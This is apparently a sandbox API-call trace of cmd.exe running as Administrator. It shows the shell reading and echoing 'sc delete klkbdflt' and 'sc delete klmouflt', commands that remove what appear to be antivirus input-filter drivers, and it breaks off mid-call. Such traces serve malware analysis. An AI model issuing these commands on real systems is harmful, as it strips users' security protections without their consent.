GetProcessHeap () returned 0x240000 [0078.453] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.453] GetEnvironmentStringsW () returned 0x261b10* [0078.453] GetProcessHeap () returned 0x240000 [0078.453] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.453] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.453] GetProcessHeap () returned 0x240000 [0078.453] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.453] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.453] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.454] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.454] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.454] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.454] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.454] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.454] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.454] GetConsoleOutputCP () returned 0x1b5 [0078.455] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.455] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.455] GetProcessHeap () returned 0x240000 [0078.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.455] GetProcessHeap () returned 0x240000 [0078.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.455] GetProcessHeap () returned 0x240000 [0078.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.455] GetProcessHeap () returned 0x240000 [0078.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.455] GetProcessHeap () returned 0x240000 [0078.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0078.455] GetProcessHeap () returned 0x240000 [0078.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.455] GetProcessHeap () returned 0x240000 [0078.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.455] GetProcessHeap () returned 0x240000 [0078.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.455] GetProcessHeap () returned 0x240000 [0078.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.455] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.455] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.456] GetFileType (hFile=0x120) returned 0x3 [0078.456] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.456] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.456] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.456] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.456] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.456] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.456] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.456] GetFileType (hFile=0x120) returned 0x3 [0078.456] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.456] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.456] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.456] GetFileType (hFile=0xb8) returned 0x3 [0078.456] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.456] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.456] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.457] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.457] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.457] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.457] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.457] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.457] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.457] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.457] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.457] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.457] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.457] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.457] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.457] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.457] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.457] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.457] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.457] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.457] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.458] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.458] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.458] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.458] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.458] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.458] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.458] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.458] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.458] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.458] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.458] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.458] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.458] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.458] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.458] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.458] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.458] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.458] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="klkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.458] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.458] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.458] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.458] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="lkbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.458] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.459] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.459] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.459] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="mbdflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.459] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.459] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.459] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.459] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="odflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.459] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.459] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.459] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.459] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="uflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.459] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.459] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.459] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.459] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="flt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.459] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.459] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.459] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.459] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="lt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.459] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.459] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.460] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.460] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="t\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.460] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.460] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.460] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.460] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.460] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.460] GetFileType (hFile=0xb8) returned 0x3 [0078.460] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.460] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.460] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.460] GetFileType (hFile=0x120) returned 0x3 [0078.460] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.460] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klmouflt\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klmouflt\n", lpUsedDefaultChar=0x0) returned 20 [0078.460] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x13, lpOverlapped=0x0) returned 1 [0078.460] GetProcessHeap () returned 0x240000 [0078.460] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0078.460] GetProcessHeap () returned 0x240000 [0078.460] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0078.460] GetProcessHeap () returned 0x240000 [0078.460] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.460] GetProcessHeap () returned 0x240000 [0078.460] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.460] GetProcessHeap () returned 0x240000 [0078.461] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256510 [0078.461] GetConsoleOutputCP () returned 0x1b5 [0078.461] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.461] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.461] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.461] GetProcessHeap () returned 0x240000 [0078.461] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.461] GetProcessHeap () returned 0x240000 [0078.461] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256550 [0078.461] GetProcessHeap () returned 0x240000 [0078.461] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0078.461] SetErrorMode (uMode=0x0) returned 0x1 [0078.462] SetErrorMode (uMode=0x1) returned 0x0 [0078.462] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.462] SetErrorMode (uMode=0x1) returned 0x1 [0078.462] GetProcessHeap () returned 0x240000 [0078.462] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0078.462] GetProcessHeap () returned 0x240000 [0078.462] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0078.462] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.462] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.462] GetProcessHeap () returned 0x240000 [0078.462] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.462] GetProcessHeap () returned 0x240000 [0078.462] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.462] GetProcessHeap () returned 0x240000 [0078.462] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.462] GetProcessHeap () returned 0x240000 [0078.462] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.462] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.462] GetProcessHeap () returned 0x240000 [0078.462] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.462] GetProcessHeap () returned 0x240000 [0078.462] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.462] GetProcessHeap () returned 0x240000 [0078.462] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.462] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.463] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.463] GetLastError () returned 0x2 [0078.463] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.463] GetLastError () returned 0x2 [0078.463] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.463] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.463] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.463] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.464] GetLastError () returned 0x2 [0078.464] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.464] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.464] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.465] GetProcessHeap () returned 0x240000 [0078.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.465] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.465] GetProcessHeap () returned 0x240000 [0078.465] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9e) returned 0x259180 [0078.465] GetProcessHeap () returned 0x240000 [0078.465] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9e [0078.465] SetConsoleTitleW 